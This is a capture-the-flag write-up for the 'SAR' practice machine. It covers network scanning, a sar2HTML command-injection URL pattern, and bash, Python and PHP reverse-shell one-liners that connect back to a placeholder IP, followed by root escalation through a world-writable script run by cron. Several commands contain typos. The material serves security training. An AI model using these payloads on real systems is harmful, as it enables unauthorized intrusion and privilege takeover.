当前位置: 首页 > news >正文

靶机 - SAR

WP

nmap

  1. Check the local IP information using the ipconfigcommand. It can be observed that the virtual machine’s IP is 192.168.233.1, Therefore, we can confirm that the target machine’s IP belongs to the 192.168.233.0/24 network segment.
  2. Employ nmap to perform a scan of live hosts within this network segment. nmap -un 192.168.233.0/24
    The target IP: 192.168.233.130.
  3. Perform a deeper scan of the host’s open ports. namp 192.168.233.130
    It’s found that only port 80 has an open service.

Identify vulnerabilities

  1. Access the HTTP service. There is the Apache2 Ubuntu Default Page.
  2. Employ dirsearch to perform directory scanning. ‘robots.txt’ is discovered to exist.
  3. Access it, reveals the directory name “sar2HTML”.
  4. Access it, reveals the sar2html Ver 3.2.1 page.
  5. Through online searching, it is found that there is a known vulnerability, like http://target-ip/sar2HTML/index.php?plot=;[injected system commands].
  6. Therefore, it can be exploited to execute a reverse shell.

Rebound shell

  1. base -c 'bash -i >& /dev/tcp/[IP]/5566 0>&1'
    No connection is received.

Tree ways to execute a reverse shell:
base
base -c 'bash -i >& /dev/tcp/[IP]/5566 0>&1'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
PHP
php -r ‘$sock=fsockopen(“[IP]”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’

  1. Try to use python, but still failed. The reason lies in the fact that the target machine has Python3 installed.
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  2. Successfully obtained the shell. But no root privileges.

Privilege escalation

  1. Search for privileges escalation vulnerabilities in the file system.

ls -la /var/www/html
total 40
drwxr-xr-x 3 www-data www-data 4096 Oct 21 2019 .
drwxr-xr-x 4 www-data www-data 4096 Oct 21 2019 …
-rwxr-xr-x 1 root root 22 Oct 20 2019 finally.sh
-rw-r–r-- 1 www-data www-data 10918 Oct 20 2019 index.html
-rw-r–r-- 1 www-data www-data 21 Oct 20 2019 phpinfo.php
-rw-r–r-- 1 root root 9 Oct 21 2019 robots.txt
drwxr-xr-x 4 www-data www-data 4096 Oct 20 2019 sar2HTML

-rwxrwxrwx 1 www-data www-data 233 Aug 22 12:17 write.sh
cat finally.sh
#!/bin/sh
./write.sh

cat write.sh
#!/bin/sh
touch /tmp/gateway

  1. They two’s function is to create a file, and they have root privileges. Besides, we have privileges to change their founction. Obviously, it’s the vulnerability prepared for us.
    3.So the next step is to find out who execute it.
  1. Definition of Cron Jobs: A mechanism in Linux for automating the execution of commands or scripts at predefined time intervals.
  2. /etc/crontab: A system-wide cron configuration file visible to all users (typically with 644 permissions, -rw-r--r--) but modifiable only by root. Its format is: Minute Hour Day Month Weekday User Command, where each field specifies the schedule, executing user, and target command/script.
  3. Example: A task running daily at 3 AM as root to rotate logs:
    0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
  1. In /etc/crontab we can find that finally.sh will be executed every five minutes. So we just need to write the rebound shell commands into it. Then wait for connection.

Conclusion

Firstly, use nmap to collect information related to IP addresses and ports. After revealing the http page, use dirsearch to find hidden clue. Thirdly, facing a classic web page, search the Internet to see if there are any known vulnerabilities in it. Forthly, obtained a conmand execution vulnerability and directly rebound shell. Finally, search the file system to find vulnerabilities for privilege escalation(root+execution+changable).

http://www.xdnf.cn/news/1347175.html

相关文章:

  • 【学习记录】c完整线程池实现
  • 集成算法学习笔记
  • C++ OpenGL中几个常见库及其区别
  • Python实现从Parquet文件生成Redshift表并存储SQL语句
  • Eigen 中Sparse 模块的简单介绍和实战使用示例
  • (纯新手教学)计算机视觉(opencv)实战八——四种边缘检测详解:Sobel、Scharr、Laplacian、Canny
  • Day11 数据统计 图形报表
  • RKLLM 模型转换从0开始
  • vagrant怎么在宿主机操作虚拟机里面的系统管理和软件安装
  • 2025软件供应链安全技术路线未来趋势预测
  • vim的使用
  • Retrieval-Augmented Generation(RAG)
  • 为什么访问HTTPS站点时,会发生SSL证书错误
  • Trie 树(字典树)
  • 8月22号打卡
  • FFmpeg及 RTSP、RTMP
  • GitGithub相关(自用,持续更新update 8/23)
  • 文件下载和文件上传漏洞
  • LeetCode第1695题 - 删除子数组的最大得分
  • CSS自定义属性(CSS变量)
  • Jenkins发布spring项目踩坑——nohup java -jar发布后显示成功,但实际jps查询并未运行
  • kubernetes中pod的管理及优化
  • Python打卡Day49 CBAM注意力
  • Apache Ozone 2.0.0集群部署
  • 微信原生下载互联网oss资源保存到本地
  • CCleaner v1.2.3.4 中文解锁注册版,系统优化,隐私保护,极速清理
  • Unreal Engine Class System
  • 图数据库(neo4j)基础: 分类/标签 节点 关系 属性
  • 蓝牙部分解析和代码建构
  • set_disable_timing应用举例